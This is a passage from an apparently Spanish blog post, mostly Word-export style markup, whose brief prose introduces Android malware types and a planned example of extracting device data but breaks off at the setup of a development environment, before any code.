UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;">No es necesario comentar
para los asiduos a nuestro blog, la gran cantidad de posibilidades y variantes
que se encuentran ya funcionanado hoy en dia de malware para dispositivos
android. Unos realizan llamadas de forma oculta a números que ingresan dinero
el creador del malware, otros crean auténticas botnets y así un sinfín de
posibilidades disponibles a la hora de atacar nuestros dispositivos. Como he
comentado, me centraré en la extracción de datos confidenciales del dispositivo
en el ejemplo que veremos.</span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--></span></div>
<span style="mso-ansi-language: ES;">En primer lugar veremos
el “tinglado” que hay que montar para poder desarrollar aplicaciones en
Android:</span><br />
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
